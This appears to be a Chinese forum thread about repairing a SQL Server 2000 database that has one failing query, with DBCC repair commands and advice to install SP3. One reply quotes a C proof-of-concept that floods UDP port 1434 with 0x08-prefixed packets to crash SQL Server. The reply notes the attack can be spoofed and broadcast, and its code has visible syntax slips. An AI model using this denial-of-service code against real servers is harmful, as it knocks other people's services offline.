--在查询分析器中执行下面的语句,对数据库进行检查和修复
USE MASTER
GOsp_dboption '你的数据库名', 'single user', 'true'
GoDBCC CHECKDB('你的数据库名', REPAIR_REBUILD) 
GoUSE 你的数据库名
goexec sp_msforeachtable 'DBCC CHECKTABLE(''?'',REPAIR_REBUILD)'
exec sp_msforeachtable 'DBCC DBREINDEX(''?'')'
gosp_dboption '你的数据库名', 'single user', 'false'
Go

解决方案 »

  1.   

    TO 邹健:
        我执行了你的修复程序,没有报错啊…应该不是病毒吧.因为我只有一个查询不能执行啊,而不是所有查询不能执行的.
        高手快快发表意见啊! THANKS!
      

  2.   

    今天偶然发现,用UDP给SQL SERVER的1433发送SQL SERVER信息发送的特定的0x8开头的信包会导致SQL SERVER当机:演示代码如下
    参数:跟SQL SERVER服务器的IP或广播地址的IP
    int main(int argc, char* argv[])
    {
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    char buf[1024]={'\x08','\x00'};
    HANDLE listener;
    const int SNDBUF = 0;
    const int TCPNODELAY = TRUE;
    const int BROADCAST = TRUE;if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
    return FALSE;
    }if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
    {
    return FALSE;
    }addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1434);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR)
    {
    return FALSE;
    }
    if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR)
    {
    return FALSE;
    }
    if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR)
    {
    return FALSE;
    }for(j=0;j<256;j++)
    {
    buf[1]=j;
    sendto(sock, buf, sizeof(buf), 0,(SOCKADDR*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)
    Sleep(100);
    }
    WSACleanup();
    return 0;
    }BUF中放置08开头的,后面一个字节从0到255,都可以引起SQL SERVER服务器的当掉。返回的SQL SERVER日志信息是:
    2002-09-04 12:50:17.21 server SqlDumpExceptionHandler: 进程 2020 发生了严重的异常 c0000005 EXCEPTION_ACCESS_VIOLATION。SQL Server 将终止该进程。
    2002-09-04 12:50:17.64 server SQL Server 将终止。发生了严重的异常 c0000005。
    如果没有启动sql agant服务,这SQL SERVER服务器需要人工手动启动,如果启动了了SQL AGANT,SQL SERVER服务器会在3秒以后自动恢复。
    但是可以不断的发起这样的包达到拒绝服务的目的,同时由于该协议是UDP协议,可以轻易的使用IP欺骗发起攻击,在还可以使用广播一次使得多个SQL SERVER受到攻击。测试环境:
    SQL SERVER 2000+SP2
    WINDOWS 2000 SERVER+SP3,ADV SERVER+SP3,professional+SP2很可能是你整个查询数据中会有特殊地数据包,把查询重建一下看看
      

  3.   

    我也怀疑有特殊的数据包,因为我连接以前的备份数据时,这个查询是完全有用的,而连接我目前要用的数据库时就有问题了…
    我把查询重新建过了,还是没用啊!!指点指点吧…我都等了好几天啦….Thanks!
      

  4.   

    SQL SERVER 2000 SP3安裝了嗎?
    地址:
    http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=9032f608-160a-4537-a2b6-4cb265b80766